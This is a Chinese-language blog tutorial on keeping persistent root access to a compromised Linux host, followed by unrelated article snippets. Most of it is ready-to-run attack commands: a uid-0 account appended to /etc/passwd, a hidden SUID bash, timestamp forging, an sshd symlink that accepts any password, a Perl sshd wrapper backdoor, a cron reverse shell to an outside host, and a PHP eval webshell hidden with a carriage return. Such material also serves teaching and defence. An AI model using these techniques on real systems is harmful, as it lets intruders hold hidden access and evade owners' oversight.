02-Linux系统权限维持

server/2024/12/2 22:37:37/

02-Linux系统权限维持

一 创建账号

1 在/etc/passwd中创建root的特权用户

/etc/passwd中数据的格式 账号:密码:uid:gid:描述:家目录:shell解释器,我们可以在/etc/passwd文件中添加一个test账号,密码为password@123(密文advwtv/9yU5yQ),uid为0的root特权用户

echo  'test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash' >> /etc/passwd

2 创建root账号的影子用户

#创建账号
useradd -o -u 0 -g 0 zhangsan
#设置密码
passwd zhangsan

3 创建拥有sudo权限的账号

创建一个普通账号

#创建账号
useradd lisi
#设置密码
passwd lisi

给账号授予sudo权限

#编辑/etc/sudoers文件
visudo
#给lisi授予sudo权限
lisi ALL=(ALL:ALL) NOPASSWD:ALL

验证lisi查看shadow

[root@localhost zhangsan]# su lisi
[lisi@localhost zhangsan]$ sudo cat /etc/shadow

4 普通用户+SUID权限维持

创建一个普通账号

#创建账号
useradd wangwu
#设置密码
passwd wangwu

给命令授予suid权限

cp /bin/bash /bin/....
chmod u+s /bin/....

验证suid权限维持

[root@localhost zhangsan]# su wangwu
[wangwu@localhost zhangsan]$ /bin/.... -p
....-4.2#

二 修改文件的属性

1 修改文件的创建时间

1.1根据时间查找文件
#查找1天内被修改过的文件
find / -mtime -1
#查找1天以前被修改过的文件
find / -mtime +1
#查找30分钟内被修改过的文件
find / -mmin -30
#查找30分钟以前被修改过的文件
find / -mmin +30
1.2 修改文件的创建时间
  • touch -r

#将/bin/bash的最后修改时间复制给/bin/.... 
touch -r /bin/bash /bin/.... 
  • touch -t

#将 /bin/....最后修改时间修改为2021年11月27日12点10分10秒
touch -t    202111271210.10     /bin/....

2 文件上锁,防止用户直接删除文件

2.1 隐藏属性介绍

Linux 系统中的文件和目录,除了可以设定普通权限和特殊权限外,文件和目录具有一些隐藏属性。而chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。

chattr [+-=] [属性] 文件或目录名

属性选项功能
i如果对文件设置 i 属性,那么不允许对文件进行删除、改名,也不能添加和修改数据; 如果对目录设置 i 属性,那么只能修改目录下文件中的数据,但不允许建立和删除文件;
a如果对文件设置 a 属性,那么只能在文件中増加数据,但是不能删除和修改数据; 如果对目录设置 a 属性,那么只允许在目录中建立和修改文件,但是不允许删除文件;
u设置此属性的文件或目录,在删除时,其内容会被保存,以保证后期能够恢复,常用来防止意外删除文件或目录。
s和 u 相反,删除文件或目录时,会被彻底删除(直接从硬盘上删除,然后用 0 填充所占用的区域),不可恢复。
2.2 给文件添加隐藏属性

示例:为test.txt文件添加i属性,而后尝试删除该文件,提示无法删除。

[root@localhost ~]# chattr +i text.txt
[root@localhost ~]# rm -rf ./text.txt 
rm: 无法删除"./text.txt": 不允许的操作
2.3查看文件的隐藏属性

使用lsattr可以查看文件的隐藏属性。

[root@localhost ~]# lsattr text.txt
----i----------- text.txt

3 创建隐藏文件

#创建一个隐藏文件.shell
touch /.shell
#创建一个隐藏文件 ...
touch ...
#创建一个隐藏目录 ....
mkdir ....

三 SSH后门

1 软链接后门

#创建sshd的软件
ln -sf /usr/sbin/sshd /tmp/su
#给这个软链接开放一个端口
/tmp/su -oPort=5555

使用ssh协议任意密码登录

image-20241127145939994

2 SSH隐身登录

2.1 查看用户的登录情况
#查看当前登录到系统的所有用户 (tty 本地登录 pts 远程登录)
w,who   
#查看最近所有登录成功的用户信息
last
2.2 SSH隐身登录
ssh -T wangwu@192.168.2.26 /bin/bash -i

使用这种方式登录后,w,who,last命令看不到登录信息

image-20241127160505045

image-20241127160520441

3 上传公钥,ssh免密登录

4 ssh warpper后门

  1. 该后门需要安装perl,使用命令“ yum install perl -y ”进行安装即可

  2. 构造一个恶意的sshd,具体操作如下:

    cd /usr/sbin/
    mv sshd ../bin/echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd
    systemctl restart sshd   # 重启sshd服务

    原理:首先启动的是/usr/sbin/sshd,执行到getpeername时,正则匹配会失败,接着执行下一句,启动/usr/bin/sshd(原始sshd)。原sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作,而后子进程又会执行系统默认的位置的/usr/sbin/sshd。此时子进程标准输入输出已被重定向到套接字,若getpeername能真的获取到客户端的TCP源端口且为13377(4A是13377的小端模式),就反回一个shell。

  3. 在kali上使用socat进行连接,指定源端口为13377。

    成功连接,使用w命令看到不到kali在连接此机器,。

    socat STDIO TCP4:192.168.214.129:22,sourceport=13377

    image-20220901164700751

这种后门方式隐蔽性较强,在没有连接的情况下,无法查看到对应的端口和进程,w、last等命令也查不到登录的情况

四 定时任务后门

1 在靶机上创建一个反弹shell定时任务

#编辑定时任务
crontab -e
#添加每分钟执行一次反弹shell的定时任务
*/1 * * * * bash -i >& /dev/tcp/192.168.2.32/6666 0>&1

2 在kali上开启监听

nc -lvnp 6666

image-20241127172717313

五 cat隐藏

使用cat查看文件时,cat能够识别文件中的\r这种特殊符号,当文件中有\r特殊符号时,cat只能看到\r后面的内容

echo -e '<?php eval($_POST[0]);?>\rhelloworld'    >mm.php


http://www.ppmy.cn/server/146855.html

相关文章

远程调用 rpc 、 open feign

在学习黑马 springcloud 视频的时候&#xff0c;看到 open feign 使用&#xff0c; 就是 http 封装。 spring框架三部曲&#xff0c;导入依赖&#xff0c;加配置&#xff0c;使用api。

[DL]深度学习_扩散模型正弦时间编码

1 扩散模型时间步嵌入 1.1 时间步正弦编码 在扩散模型按时间步 t 进行加噪去噪过程时&#xff0c;需要包括反映噪声水平的时间步长 t 作为噪声预测器的额外输入。但是最初与图像配套的时间步 t 是数字&#xff0c;需要将代表时间步 t 的数字编码为向量嵌入。嵌入时间向量的宽…

Qt MinGW环境下使用CEF

环境 Clion &#xff1a;2019.3.6 Qt &#xff1a;5.12.12&#xff08;MinGW 7.3.0&#xff09; CEF&#xff1a;cef_binary_87.1.14ga29e9a3chromium-87.0.4280.141_windows32 编译libcef_dll_wrapper 修改cmake 文件 修改根目录下的CMakeLists.txt # 修改cmake 版本 c…

matlab代码--卷积神经网络的手写数字识别

1.cnn介绍 卷积神经网络&#xff08;Convolutional Neural Network, CNN&#xff09;是一种深度学习的算法&#xff0c;在图像和视频识别、图像分类、自然语言处理等领域有着广泛的应用。CNN的基本结构包括输入层、卷积层、池化层&#xff08;Pooling Layer&#xff09;、全连…

Python plotly库介绍

目录 一、引言 二、plotly库的特点 三、安装plotly库 四、基本用法 五、高级功能 六、总结 一、引言 在数据可视化领域&#xff0c;Python提供了众多强大的库。其中&#xff0c;plotly是一个功能强大、交互式的可视化库&#xff0c;可以创建各种类型的图表&#xff0c;包…

详解 PyTorch 中的 Dataset:功能、实现及应用示例

详解 PyTorch 中的 Dataset&#xff1a;功能、实现及应用示例 在机器学习和深度学习中&#xff0c;Dataset 类是一个抽象类&#xff0c;通常用于封装对于数据集的各种操作&#xff0c;包括访问、处理和预处理数据。Dataset 为数据加载提供了一个标准的接口&#xff0c;使其能够…

uniapp 扩展picker-view实现条件查询

因为选项值过多&#xff0c;需要动态查询&#xff0c;现有组件无法实现&#xff0c;将picker-view扩展了一下&#xff0c;支持条件查询&#xff0c;接口调用。 实现效果 注意&#xff1a;直接使用&#xff0c;样式可能不准&#xff0c;根据自己的实际情况进行样式调整 参数说…

ELK超详细操作文档

ELK简介 ELK平台是一套完整的日志集中处理解决方案&#xff0c;将 ElasticSearch、Logstash 和 Kiabana 三个开源工具配合使用&#xff0c; 完成更强大的用户对日志的查询、排序、统计需求。 ElasticSearch ElasticSearch&#xff1a;是基于Lucene&#xff08;一个全文检索引…